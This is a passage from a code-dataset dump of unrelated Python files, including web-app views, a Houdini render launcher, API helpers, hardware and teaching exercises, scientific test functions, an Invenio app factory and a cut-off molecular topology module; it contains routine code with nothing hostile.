   def get(self, request, *args, **kwargs):\n        app_label = kwargs['app_label']\n        response = HttpResponse(content_type='text/plain')\n        response['Content-Disposition'] = 'attachment; filename=\"{}\"'.format(\n            self._doc_file_name(app_label)\n        )\n        otree.common_internal.export_docs(response, app_label)\n        return response\n\n\nclass ExportCsv(vanilla.View):\n\n    url_pattern = r\"^ExportCsv/(?P<app_label>[\\w.]+)/$\"\n\n    def _data_file_name(self, app_label):\n        return '{} (accessed {}).csv'.format(\n            otree.common_internal.app_name_format(app_label),\n            datetime.date.today().isoformat(),\n        )\n\n    def get(self, request, *args, **kwargs):\n        app_label = kwargs['app_label']\n        response = HttpResponse(content_type='text/csv')\n        response['Content-Disposition'] = 'attachment; filename=\"{}\"'.format(\n            self._data_file_name(app_label)\n        )\n        otree.common_internal.export_data(response, app_label)\n        return response\n\n\nclass ExportTimeSpent(vanilla.View):\n\n    url_pattern = r\"^ExportTimeSpent/$\"\n\n    def get(self, request, *args, **kwargs):\n        response = HttpResponse(content_type='text/csv')\n        response['Content-Disposition'] = 'attachment; filename=\"{}\"'.format(\n            'TimeSpent (accessed {}).csv'.format(\n                datetime.date.today().isoformat()\n            )\n        )\n        otree.common_internal.export_time_spent(response)\n        return response\n","sub_path":"otree-core-master/otree/views/export.py","file_name":"export.py","file_ext":"py","file_size_in_byte":3143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"525770846","text":"#!/usr/bin/python3\n\ndef main():\n\n    o_list = [1,2,3,4,5,6]\n\n    c_list = [x*x for x in o_list]\n    print(\"comprehension list : \",c_list)\n    \n    c_list = [x for x in o_list if x%2==0]\n    print(\"comprehension list with condition(if x%2==0) : \",c_list)\n    \n    c_list = [x*10 if x<=3 else x*100 for x in o_list]\n    print(\"comprehension list with ternary operator(x*10 if x<=3 else x*100) : \",c_list)\n\n\nif __name__ == \"__main__\":\n    main()\n","sub_path":"pythonic/comprehension/comprehension_condition.py","file_name":"comprehension_condition.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"334702227","text":"from setuptools import setup, find_packages\n\nwith open(\"README.md\", \"r\") as readme_file:\n    readme = readme_file.read()\n\nrequirements = [\"pandas\", \"visdom\", \"torch\", \"torchvision\"]\n\nsetup(\n    name=\"AtlasNet\",\n    version=\"0.1\",\n    long_description=readme,\n    long_description_content_type=\"text/markdown\",\n    url=\"https://github.com/ThibaultGROUEIX/AtlasNet\",\n    packages=['AtlasNet'],\n    install_requires=requirements,\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"411662988","text":"import mammo_dataset\nimport json\n\n\ninbreast_dir = '/Users/lpires/Developer/dl/INbreast'\noutput_dir = './out'\n\nmds = mammo_dataset.INbreastDataset(inbreast_dir, output_dir)\nmds.read_dicoms()\nmds.read_cases(pathology_filter=[])\n\n# print(mds.cases_df.groupby(['view', 'width', 'height']).size())\n# print()\n\nmds.process_annotations(gen_calc=True,\n                        gen_mass=True,\n                        gen_asymmetry=True,\n                        gen_distortion=True,\n                        gen_spiculated=True,\n                        bbox_area_filter=(0))\n\nprint('annotations:', len(mds.annotations_df))\nprint('images:', len(mds.annotations_df.dicom_fn.unique()))\nprint(mds.annotations_df.groupby('category').size())\nprint()\n\nall_images = False\nconvert_dicoms = False\n\nmds.save(all_images=all_images, convert_dicoms=convert_dicoms)\n\n# mds.convert_dicoms()\n\n# mds.prepare_dataset(all_images=all_images)\n# mds.draw_annotations()\n","sub_path":"convert_inbreast.py","file_name":"convert_inbreast.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"198040481","text":"import hou\nimport subprocess\nimport platform\n\ndef getRenderNodes(node):\n    \"\"\"\n    returns renderable nodes found in children of specified node\n    \"\"\"\n    render_nodes = (\"rop_geometry\", \"geometry\", \"Redshift_ROP\", \"ifd\", \"arnold\", \"opengl\", \"baketexture::3.0\", \"rib\", \"ris\", \"ribarchive\", \"wren\", \"ifdarchive\", \"render\", \"rop_alembic\", \"brickmap\", \"merge\", \"channel\", \"comp\", \"dsmmerge\", \"fetch\", \"wedge\", \"shell\", \"null\", \"dop\", \"alembic\", \"filmboxfbx\", \"agent\", \"mdd\")\n\n    node_type_name = node.type().name()\n    node_children = node.allSubChildren()\n\n    node_list = []\n\n    if node_type_name in render_nodes:\n        node_list.append(node)\n        return node_list\n    elif len(node_children) > 0:\n        for n in node_children:\n            if n.type().name() in render_nodes:\n                node_list.append(n)\n    else:\n        print(\"No render node was found.\\n\")\n        return None\n\n    return node_list\n\ndef bg_render(kwargs):\n    \"\"\"\n    starts a separate houdini process rendering selected node, if multiple nodes were found, then asks user to choose one\n    \"\"\"\n    nodes = hou.selectedNodes()\n\n    if not bool( nodes ):\n        print(\"No nodes selected.\\n\")\n        return\n\n    file_path = hou.hipFile.path()\n    file_name = hou.hipFile.basename()\n\n    for node in nodes:\n        top_node = node\n\n        node_list = getRenderNodes(node)\n        if len(node_list) == 0:\n            return\n        elif len(node_list) == 1:\n            node = node_list[0]\n        else:\n            node_names = [n.name() for n in node_list]\n            selected = hou.ui.selectFromList(choices=node_names, message=\"Multiple ROPs found, choose one to be rendered\", title=\"Choose ROP\")\n            if len(selected) == 0:\n                print(\"No ROP was selected.\")\n                return\n            else:\n                node = node_list[ selected[0] ]\n\n        rop_path = node.path()\n        top_node_path = top_node.path()\n\n        frame_by_frame = \"\"\n        if kwargs[\"altclick\"]:\n            frame_by_frame = \"I\"\n\n        hscript_cmd = \"render -Va{0} {1}; quit\".format(frame_by_frame, rop_path)\n        intro = \"Rendering {0} in {1}\".format(top_node_path, file_name)\n        finish = \"Rendering was finished, press [enter] to close terminal.\"\n\n        bash_render_cmd = 'hbatch -c \\\\\"{0}\\\\\" {1}'.format(hscript_cmd, file_path)\n        \n        if platform.system() == \"Linux\":\n            p = subprocess.Popen([\"x-terminal-emulator\", \"-t\", intro, \"-e\", 'bash -c \"printf \\\\\"{0}\\\\\" && {1} && printf \\\\\"{2}\\\\\" && read\"'.format(intro + \"\\\\n\\\\n\\\\n\", bash_render_cmd, \"\\\\n\\\\n\" + finish) ], stdout=subprocess.PIPE)\n        elif platform.system() == \"Windows\":\n            p = subprocess.Popen('start cmd /c \"title {0} &&^echo {0} &&^echo. &&^echo. &&^{1} &&^pause \"'.format(intro, bash_render_cmd.replace(\"\\\\\",\"\")), stdout=subprocess.PIPE, shell=True)\n","sub_path":"scripts/python/bg_render.py","file_name":"bg_render.py","file_ext":"py","file_size_in_byte":2854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"320438501","text":"import urllib.request\nimport urllib.parse\nimport urllib.error\nimport json\n\ndef make_tmdb_api_request(method, api_key, extra_params=None):\n    extra_params = extra_params or {}\n    url = 'https://api.themoviedb.org/3%s' % method\n    params = {\n        'api_key': api_key,\n        'language': 'ru',\n    }\n    params.update(extra_params)\n    return load_json_data_from_url(url, params)\n\ndef load_json_data_from_url(base_url, url_params):\n    url = '%s?%s' % (base_url, urllib.parse.urlencode(url_params))\n    response = urllib.request.urlopen(url).read().decode('utf-8')\n    return json.loads(response)\n\ndef get_user_api_key():\n    user_api_key = input('Enter your api key v3:')\n    try:\n        make_tmdb_api_request(method='/movie/2', api_key = user_api_key)\n        return user_api_key\n    except urllib.error.HTTPError as err:\n        if err.code == 401:\n            return None\n        else:\n            raise\n\n","sub_path":"tmdb_helpers.py","file_name":"tmdb_helpers.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"632510877","text":"#5.2 Write a program that repeatedly prompts a user for integer numbers\n#until the user enters 'done'. Once 'done' is entered, print out the largest\n#and smallest of the numbers. If the user enters anything other than a valid\n#number catch it with a try/except and put out an appropriate message and\n#ignore the number. Enter 7, 2, bob, 10, and 4 and match the output below.\n\nlargest = None\nsmallest = None\n\nwhile True:\n    user_input = input('Enter an integer: ')\n\n    if user_input.lower() == 'done':\n        break\n    try:\n        user_number = int(user_input)\n    except:\n        print('Invalid input')\n        continue\n    if largest == None:\n        largest = user_number\n    elif user_number > largest:\n        largest = user_number\n    if smallest == None:\n        smallest = user_number\n    elif user_number < smallest:\n        smallest = user_number\nprint(\"Maximum is\",largest)\nprint(\"Minimum is\",smallest)\n","sub_path":"Course 1 Python/ex_05_02.py","file_name":"ex_05_02.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"104400170","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n    path('', views.PostListView.as_view(), name='post-list'),\n    path('<int:pk>/', views.PostDetailView.as_view(), name='post-detail'),\n    path('create_post/', views.PostCreateView.as_view(), name='create-post')\n]\n\napp_name = 'blog'\n","sub_path":"main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"10343942","text":"import pycom\nimport time\n\ndef long_t(color):\n    pycom.rgbled(color) # red\n    time.sleep(3)\n    pycom.rgbled(0) # off\n    time.sleep(1)\n\ndef short_t(color):\n    pycom.rgbled(color) # red\n    time.sleep(1)\n    pycom.rgbled(0) # off\n    time.sleep(1)\n\ncolors = [0x7f0000,0x007f00]\n\nfor cols in colors: # stop after 10 cycles\n    for i in range(3):\n        long_t(cols)\n    for i in range(3):\n        short_t(cols)\n    for i in range(3):\n        long_tcols()\n","sub_path":"labs/LED/SOS.py","file_name":"SOS.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"5164024","text":"\"\"\"Test capabilities for uncertainty quantification.\n\nThis module contains a host of test models and functions often used in the uncertainty\nquantification literate.\n\n\"\"\"\nimport numpy as np\nimport math\n\n\ndef borehole(x):\n    r\"\"\"Borehole function.\n\n    The Borehole function models water flow through a borehole. Its simplicity and quick\n    evaluation makes it a commonly used function for testing a wide variety of methods in\n    computer experiments.\n    \"\"\"\n    assert len(x) == 8\n\n    r_w = x[0]\n    r = x[1]\n    T_u = x[2]\n    H_u = x[3]\n    T_l = x[4]\n    H_l = x[5]\n    L = x[6]\n    K_w = x[7]\n\n    a = 2 * math.pi * T_u * (H_u - H_l)\n    b = np.log(r / r_w)\n    c = (2 * L * T_u) / (b * r_w ** 2 * K_w)\n    d = T_u / T_l\n\n    rslt = a / (b * (1 + c + d))\n    return rslt\n\n\ndef ishigami(x, a=7, b=0.1):\n    r\"\"\"Ishigami function.\n\n    The Ishigami function of Ishigami & Homma (1990) is used as an example for uncertainty and\n    sensitivity analysis methods, because it exhibits strong nonlinearity and nonmonotonicity.\n    \"\"\"\n    assert len(x) == 3\n\n    rslt = (1 + b * x[2] ** 4) * np.sin(x[0]) + a * np.sin(x[1]) ** 2\n    return rslt\n\n\ndef eoq_model(x, r=0.1):\n    r\"\"\"Economic order quantity model.\n\n    This function computes the optimal economic order quantity (EOQ) based on the model presented in\n    [H1990]_. The EOQ minimizes the holding costs as well as ordering costs. The core parameters of\n    the model are the units per months `x[0]`, the unit price of items in stock `x[1]`,\n    and the setup costs of an order `x[2]`. The annual interest rate `r` is treated as an\n    additional parameter.\n\n    Parameters\n    ----------\n    x : array_like\n        Core parameters of the model\n\n    r : float, optional\n        Annual interest rate\n\n    Returns\n    -------\n\n    float\n        Optimal order quantity\n\n    Notes\n    -----\n\n    A historical perspective on the model is provided by [E1990]_. A brief description with the core\n    equations is available in [W2020]_.\n\n    References\n    ----------\n\n    .. [H1990] Harris, F. W. (1990).\n        How many parts to make at once.\n        Operations Research, 38(6), 947–950.\n\n    .. [E1990] Erlenkotter, D. (1990).\n        Ford Whitman Harris and the economic order quantity model.\n        Operations Research, 38(6), 937–946.\n\n    .. [W2020] Economic order quantity. (2020, April 3). In Wikipedia.\n        Retrieved from\n        `https://en.wikipedia.org/w/index.php\\\n        ?title=Economic_order_quantity&oldid=948881557 <https://en.wikipedia.org/w/index.php\n        ?title=Economic_order_quantity&oldid=948881557>`_\n\n    Examples\n    --------\n\n    >>> x = [1, 2, 3]\n    >>> y = eoq_model(x, r=0.1)\n    >>> np.testing.assert_almost_equal(y, 18.973665961010276)\n    \"\"\"\n\n    m, c, s = x\n    y = np.sqrt((24 * m * s) / (r * c))\n\n    return y\n\n\ndef simple_linear_function(x):\n    r\"\"\"Simple linear function.\n\n    This function computes the sum of all elements of a given array.\n\n    Parameters\n    ----------\n    x : array_like\n        Array of summands\n\n    Examples\n    --------\n\n    >>> x = [1, 2, 3]\n    >>> y = simple_linear_function(x)\n    >>> np.testing.assert_almost_equal(y, 6)\n    \"\"\"\n    return sum(x)\n","sub_path":"temfpy/uncertainty_quantification.py","file_name":"uncertainty_quantification.py","file_ext":"py","file_size_in_byte":3186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"282552197","text":"class calculadora:\n  \n  color = \"blanco\"\n  Modelo = \"2020\"\n  tipo = \"solar\"\n  Marca = \"casio\"\n  pantalla=\"chica\"\n\n  def __init__(self):\n    print(\"constructor calculadora \")\n    \n  def sumar (self):\n    print(\"sumar\")\n\n  def restar (self):  \n    print(\"restar\")\n\nclass calcusolar (calculadora):\n  def __init__(self):\n    print(\"constructor de calculadora solar\") \n\n  def restar (self):  \n    print(\"restar valores\")     \n\nobjeto = calculadora() \nobjeto.sumar()\nobjeto.restar()\nobjeto_solar = calcusolar()\nobjeto_solar.sumar()\nobjeto_solar.restar()\nprint(objeto_solar.color)\nprint(objeto_solar.Modelo)\nprint(objeto_solar.tipo)\nprint(objeto_solar.Marca)\nprint(objeto_solar.pantalla)","sub_path":"semana_4/programa_8.py","file_name":"programa_8.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"444840384","text":"from app import app\nfrom flask import render_template, request, redirect, url_for, flash\nimport csv\nfrom os import remove, rename\nfrom app.forms import CompraForm\n\nficheromovimientos = 'data/movimientos.txt'\nficheronuevo = 'data/nuevomovimientos.txt'\n@app.route('/')\ndef index():\n    #leer movimientos\n    fMovimientos = open(ficheromovimientos, \"r\")\n    csvreader = csv.reader(fMovimientos, delimiter=',', quotechar='\"')\n    movements = []\n    for movimiento in csvreader: \n        movements.append(movimiento)\n    #enviar movimientos a index.html\n    return render_template('index.html', movimientos=movements)\n\n@app.route('/nuevacompra', methods=['GET', 'POST'])\ndef compra():\n    print(request.method)\n    form = CompraForm(request.form)\n\n    if request.method == 'GET':\n        return render_template('nuevacompra.html')\n        return render_template('nuevacompra.html', form=form)\n    else:\n        msg = validar(request.values)\n        if msg != True:\n            return render_template('nuevacompra.html', errores=msg)\n        fMovimientos = open(ficheromovimientos, \"a+\")\n        precioUnitario = float(request.values['cantidadPagada'])/float(request.values['cantidadComprada'])\n        registro = '{},\"{}\",{},{},{},{},{}\\n'.format(request.values['fecha'], \n                    request.values['concepto'], \n                    request.values['monedaComprada'], \n                    request.values['cantidadComprada'], \n                    request.values['monedaPagada'], \n                    request.values['cantidadPagada'], \n                    precioUnitario)\n        fMovimientos.write(registro)\n        fMovimientos.close()\n        return redirect(url_for('index'))\n@app.route('/modificar', methods=['GET', 'POST'])\ndef update():\n    \n    if request.method == 'GET':\n        if request.values.get('ix'):\n            movimiento, ix = recuperarregistro(request.values.get('ix'))\n            return render_template('update.html', registro_seleccionado=movimiento, ix=ix)\n    else:\n        if request.values.get('ix'):\n            msg = validar(request.values)\n            if msg != True:\n                registro_seleccionado = [\n                    request.values['fecha'],\n                    request.values['concepto'],\n                    request.values['monedaComprada'],\n                    request.values['cantidadComprada'],\n                    request.values['monedaPagada'],\n                    request.values['cantidadPagada']\n                ]\n                return render_template('update.html', registro_seleccionado=registro_seleccionado, ix=request.values['ix'], errores=msg)\n            \n            modificarregistro(request.values)\n            return redirect(url_for('index'))\n        #        recuperar los values\n        #grabarlos en la posición adecuada del fichero sustituyendo al registro original (el 3)\n@app.route('/procesarregistro', methods=['POST'])\ndef procesar():\n    if request.values.get('ix'):\n        if request.values['btnselected'] == 'Borrar':\n            borrar(int(request.values['ix']))\n        else:\n            #modificar(int(request.values['ix']))\n            return redirect(url_for('update', ix=request.values['ix']))\n    return redirect(url_for('index'))\ndef recuperarregistro(ix):\n    ix = int(ix)\n    fe = open(ficheromovimientos, 'r')\n    csvreader = csv.reader(fe, delimiter=',', quotechar='\"')\n    contador = 1\n    for linea in csvreader:\n        if contador == ix:\n            fe.close()\n            return linea, ix\n        contador += 1\n    fe.close()\n    \ndef modificarregistro(values):\n    fe = open(ficheromovimientos, 'r')\n    fs = open(ficheronuevo, 'w')\n    ix = int(values.get('ix'))\n    precioUnitario = float(values['cantidadPagada'])/float(values['cantidadComprada'])\n    registro = '{},\"{}\",{},{},{},{},{}\\n'.format(values['fecha'], \n                values['concepto'], \n                values['monedaComprada'], \n                values['cantidadComprada'], \n                values['monedaPagada'], \n                values['cantidadPagada'], \n                precioUnitario)\n    contador = 1\n    for linea in fe:\n        if contador == ix:\n            linea = registro\n        fs.write(linea)\n        contador += 1\n    fe.close()\n    fs.close()\n    remove(ficheromovimientos)\n    rename(ficheronuevo, ficheromovimientos)\n    \ndef borrar(ix):\n    fe = open(ficheromovimientos, 'r')\n    fs = open(ficheronuevo, 'w')\n    contador = 1\n    for linea in fe:\n        if contador != ix:\n            fs.write(linea)\n        contador += 1\n    fe.close()\n    fs.close()\n    remove(ficheromovimientos)\n    rename(ficheronuevo, ficheromovimientos)\ndef validar(values):\n    errores = []\n    if values['fecha'] == '':\n        errores.append('Debe informar la fecha')\n    \n    if values['concepto'] == '':\n        errores.append('Debe informar el concepto')\n    if values['cantidadComprada'] == '':\n        errores.append('Debe informar la cantidad comprada')\n    if values['cantidadPagada'] == '':\n        errores.append('Debe informar la cantidad pagada')   \n    if len(errores) == 0:\n        return True\n    else:\n        return errores    ","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"425322317","text":"# -*- coding: utf-8 -*-\n#\n# This file is part of Invenio.\n# Copyright (C) 2017-2018 CERN.\n#\n# Invenio is free software; you can redistribute it and/or modify it\n# under the terms of the MIT License; see LICENSE file for more details.\n\n\"\"\"Flask application factories for Invenio flavours.\"\"\"\n\nfrom __future__ import absolute_import, print_function\n\nimport os\nimport sys\n\nimport pkg_resources\nfrom invenio_base.app import create_app_factory\nfrom invenio_base.wsgi import create_wsgi_factory, wsgi_proxyfix\nfrom invenio_cache import BytecodeCache\nfrom invenio_config import create_config_loader\nfrom jinja2 import ChoiceLoader, FileSystemLoader\n\nfrom .helpers import TrustedHostsMixin\n\nenv_prefix = 'INVENIO'\n\ninvenio_config_loader = create_config_loader(\n    config=None, env_prefix=env_prefix\n)\n\ninstance_path = os.getenv(env_prefix + '_INSTANCE_PATH') or \\\n    os.path.join(sys.prefix, 'var', 'instance')\n\"\"\"Instance path for Invenio.\n\nDefaults to ``<env_prefix>_INSTANCE_PATH`` or if environment variable is not\nset ``<sys.prefix>/var/instance``.\n\"\"\"\n\nstatic_folder = os.getenv(env_prefix + '_STATIC_FOLDER') or \\\n    os.path.join(instance_path, 'static')\n\"\"\"Static folder path.\n\nDefaults to ``<env_prefix>_STATIC_FOLDER`` or if environment variable is not\nset ``<sys.prefix>/var/instance/static``.\n\"\"\"\n\n\ndef config_loader(app, **kwargs_config):\n    \"\"\"Configuration loader.\n\n    Adds support for loading templates from the Flask application's instance\n    folder (``<instance_folder>/templates``).\n    \"\"\"\n    # This is the only place customize the Flask application right after\n    # it has been created, but before all extensions etc are loaded.\n    local_templates_path = os.path.join(app.instance_path, 'templates')\n    if os.path.exists(local_templates_path):\n        # Let's customize the template loader to look into packages\n        # and application templates folders.\n        app.jinja_loader = ChoiceLoader([\n            FileSystemLoader(local_templates_path),\n            app.jinja_loader,\n        ])\n\n    app.jinja_options = dict(\n        app.jinja_options,\n        cache_size=1000,\n        bytecode_cache=BytecodeCache(app)\n    )\n\n    invenio_config_loader(app, **kwargs_config)\n\n\ndef app_class():\n    \"\"\"Create Flask application class.\n\n    Invenio-Files-REST needs to patch the Werkzeug form parsing in order to\n    support streaming large file uploads. This is done by subclassing the Flask\n    application class.\n    \"\"\"\n    try:\n        pkg_resources.get_distribution('invenio-files-rest')\n        from invenio_files_rest.app import Flask as FlaskBase\n    except pkg_resources.DistributionNotFound:\n        from flask import Flask as FlaskBase\n\n    # Add Host header validation via APP_ALLOWED_HOSTS configuration variable.\n    class Request(TrustedHostsMixin, FlaskBase.request_class):\n        pass\n\n    class Flask(FlaskBase):\n        request_class = Request\n\n    return Flask\n\n\ncreate_api = create_app_factory(\n    'invenio',\n    config_loader=config_loader,\n    blueprint_entry_points=['invenio_base.api_blueprints'],\n    extension_entry_points=['invenio_base.api_apps'],\n    converter_entry_points=['invenio_base.api_converters'],\n    wsgi_factory=wsgi_proxyfix(),\n    instance_path=instance_path,\n    app_class=app_class(),\n)\n\"\"\"Flask application factory for Invenio REST API.\"\"\"\n\ncreate_ui = create_app_factory(\n    'invenio',\n    config_loader=config_loader,\n    blueprint_entry_points=['invenio_base.blueprints'],\n    extension_entry_points=['invenio_base.apps'],\n    converter_entry_points=['invenio_base.converters'],\n    wsgi_factory=wsgi_proxyfix(),\n    instance_path=instance_path,\n    static_folder=static_folder,\n    app_class=app_class(),\n)\n\"\"\"Flask application factory for Invenio UI.\"\"\"\n\ncreate_app = create_app_factory(\n    'invenio',\n    config_loader=config_loader,\n    blueprint_entry_points=['invenio_base.blueprints'],\n    extension_entry_points=['invenio_base.apps'],\n    converter_entry_points=['invenio_base.converters'],\n    wsgi_factory=wsgi_proxyfix(create_wsgi_factory({'/api': create_api})),\n    instance_path=instance_path,\n    static_folder=static_folder,\n    app_class=app_class(),\n)\n\"\"\"Flask application factory for combined UI + REST API.\n\nREST API is mounted under ``/api``.\n\"\"\"\n","sub_path":"invenio_app/factory.py","file_name":"factory.py","file_ext":"py","file_size_in_byte":4239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"331187705","text":"\"\"\"\nFile:            gromos++ topo file functions\nWarnings: this CLASS IS NOT IMPLEMENTED!\nTODO:REWORK\nDescription:\n    in this lib, gromos topo file mainpulating functions are gathered\nAuthor: Marc Lehner, Benjamin Ries\n\"\"\"\n\n#imports\nfrom copy import deepcopy\nfrom typing import TypeVar, Union\nimport warnings\nimport math\n\nfrom pygromos.utils import bash as bash\nfrom pygromos.files._basics import _general_gromos_file, parser\nfrom pygromos.files.blocks import topology_blocks as blocks\n\n\nTopType = TypeVar(\"Top\")\n\n\n#functions\ndef make_topolog(input_arg, build, param, seq, solve=\"H2O\"):\n    #define python command\n    command=\"make_top \"+input_arg+\" \"+param+\" \"+seq+\" \"+solve+\" \\n\"\n\n    #execute command\n    try:\n        bash.execute(command=command)\n    except Exception as err:\n        bash.increment_error_level(err_prefix=\"Could not make_topology due to: \", old_err=err)\n\n    return command\n\ndef combine_topologies():\n    raise Exception('not implemented yet!')\n\ndef check_top():\n    raise Exception('not implemented yet!')\n\n#file Classes\nclass Top(_general_gromos_file._general_gromos_file):\n    gromos_file_ending:str = \"top\"\n\n    def __init__(self, in_value:(str or dict or None or TopType), _future_file:bool=False):\n        if type(in_value) is str:\n            super().__init__(in_value=in_value, _future_file=_future_file)\n        elif(in_value == None):\n            self.path = \"\"\n            self.block_names = {}\n            super().__init__(in_value=None)\n\n        elif(type(in_value) is __class__):\n            raise Exception('not implemented yet!')\n        else:\n            raise Exception('not implemented yet!')\n\n    def __add__(self, top:TopType)->TopType:\n        return self._add_top(top=top)\n\n    def _add_top(self, top:Union[TopType, None], solvFrom1:bool=True, verbose:bool=False)->TopType:\n        \"\"\"\n        combines two topologies. Parameters are taken from the initial topology. \n        But missing parameters from the second topology will be added.\n        Can be used like com_top from Gromos++ \n\n        Parameters\n        ----------\n        top : TopType\n            second topology to add to the first topology\n        solvFrom1 : bool, optional\n            should the solvent be taken from the first topology? (else second), by default True\n        verbose : bool, optional\n            extra print statements, by default True\n        sanityCheck : bool, optional\n            feature and compatibility check, by default True\n\n        Returns\n        -------\n        TopType\n            returns a topology made by combing two topologies\n        \"\"\"\n        # create the return top\n        retTop = deepcopy(self)\n        if top is None:\n            return retTop\n        # add solv\n        if not solvFrom1:\n            if verbose: print(\"taking solvent from second topology\")\n            retTop.SOLVENTATOM = top.SOLVENTATOM\n            retTop.SOLVENTCONSTR = top.SOLVENTCONSTR\n\n        #calculate the shift of atom types of the second topology and add new atomtypes\n        atomTypeShift = {}\n        if not (hasattr(retTop, \"ATOMTYPENAME\") and len(retTop.ATOMTYPENAME.content)>=2):\n            setattr(retTop, \"ATOMTYPENAME\", deepcopy(top.ATOMTYPENAME))\n            setattr(retTop, \"LJPARAMETERS\", deepcopy(top.LJPARAMETERS))\n        for idx, atomT in enumerate(top.ATOMTYPENAME.content[1:]): #new atomtypes to find names for\n            foundAtomType = False\n            for mainIdx, mainAtomT in enumerate(retTop.ATOMTYPENAME.content[1:]): #AtomTypes in self to match against\n                if atomT == mainAtomT: \n                    foundAtomType = True\n                    atomTypeShift.update({idx+1:mainIdx+1})\n                    break\n            if not foundAtomType:\n                retTop.ATOMTYPENAME.content[0][0] = str(int(retTop.ATOMTYPENAME.content[0][0]) + 1)\n                retTop.ATOMTYPENAME.content.append(atomT)\n                atomTypeShift.update({idx+1:retTop.ATOMTYPENAME.content[0][0]})\n                ljType = top.get_LJparameter_from_IAC(IAC=idx+1)\n                retTop.add_new_LJparameter(C6=float(ljType.C6), C12=float(ljType.C12))\n\n        if verbose: print(\"atomTypeShift: \" + str(atomTypeShift))\n\n        #add RESNAME\n        for resname in top.RESNAME.content[1:]:\n            retTop.add_new_resname(resname[0])\n\n        #add SOLUTEATOM\n        if hasattr(retTop, \"SOLUTEATOM\"):\n            atnmShift = retTop.SOLUTEATOM.content[-1].ATNM #Number of atoms found in main top. Shift secondary top atoms accordingly\n            mresShift = retTop.SOLUTEATOM.content[-1].MRES #Number of molecules found in main top.\n        else:\n            atnmShift=0\n            mresShift=0\n        if verbose: print(\"atom number shift: \" + str(atnmShift))\n        if verbose: print(\"molecule number shift: \" + str(mresShift))\n\n        for atom in top.SOLUTEATOM.content:\n            retTop.add_new_soluteatom(ATNM = atnmShift + atom.ATNM,\n                                    MRES = mresShift + atom.MRES,\n                                    PANM = atom.PANM,\n                                    IAC = atomTypeShift[atom.IAC],\n                                    MASS = atom.MASS,\n                                    CG = atom.CG,\n                                    CGC = atom.CGC,\n                                    INE = [str(int(x)+atnmShift) for x in atom.INEvalues],\n                                    INE14 = [str(int(x)+atnmShift) for x in atom.INE14values])\n\n        # add bonds and bonds with H\n        for bond in top.BOND.content:\n            bondType = top.BONDSTRETCHTYPE.content[bond.ICB - 1]\n            retTop.add_new_bond(k=bondType.CHB, \n                                b0=bondType.B0, \n                                atomI=bond.IB + atnmShift, \n                                atomJ=bond.JB + atnmShift)\n        for bond in top.BONDH.content:\n            bondType = top.BONDSTRETCHTYPE.content[bond.ICB - 1]\n            retTop.add_new_bond(k=bondType.CHB, \n                                b0=bondType.B0, \n                                atomI=bond.IB + atnmShift, \n                                atomJ=bond.JB + atnmShift,\n                                includesH=True)\n\n        # add angles and angles with H\n        for angle in top.BONDANGLE.content:\n            angleType = top.BONDANGLEBENDTYPE.content[angle.ICT - 1]\n            retTop.add_new_angle(k=angleType.CB, \n                                kh=angleType.CHB, \n                                b0=angleType.B0, \n                                atomI=angle.IT + atnmShift, \n                                atomJ=angle.JT + atnmShift,\n                                atomK=angle.KT + atnmShift)\n        for angle in top.BONDANGLEH.content:\n            angleType = top.BONDANGLEBENDTYPE.content[angle.ICT - 1]\n            retTop.add_new_angle(k=angleType.CB, \n                                kh=angleType.CHB, \n                                b0=angleType.B0, \n                                atomI=angle.IT + atnmShift, \n                                atomJ=angle.JT + atnmShift,\n                                atomK=angle.KT + atnmShift, includesH=True)\n\n        # add diheadrals and diheadrals with H\n        for dihdrl in top.DIHEDRAL.content:\n            dihdrlType = top.TORSDIHEDRALTYPE.content[dihdrl.ICP - 1]\n            retTop.add_new_torsiondihedral(CP=dihdrlType.CP, \n                                        PD=dihdrlType.PD, \n                                        NP=dihdrlType.NP, \n                                        atomI=dihdrl.IP + atnmShift, \n                                        atomJ=dihdrl.JP + atnmShift, \n                                        atomK=dihdrl.KP + atnmShift, \n                                        atomL=dihdrl.LP + atnmShift)\n        for dihdrl in top.DIHEDRALH.content:\n            dihdrlType = top.TORSDIHEDRALTYPE.content[dihdrl.ICPH - 1]\n            retTop.add_new_torsiondihedral(CP=dihdrlType.CP, \n                                        PD=dihdrlType.PD, \n                                        NP=dihdrlType.NP, \n                                        atomI=dihdrl.IPH + atnmShift, \n                                        atomJ=dihdrl.JPH + atnmShift, \n                                        atomK=dihdrl.KPH + atnmShift, \n                                        atomL=dihdrl.LPH + atnmShift,\n                                        includesH=True)\n\n        # add impdihedrals with and without H\n        for dihdrl in top.IMPDIHEDRAL.content:\n            dihdrlType = top.IMPDIHEDRALTYPE.content[dihdrl.ICQ - 1]\n            retTop.add_new_impdihedral(CQ=dihdrlType.CQ, \n                                        Q0=dihdrlType.Q0,\n                                        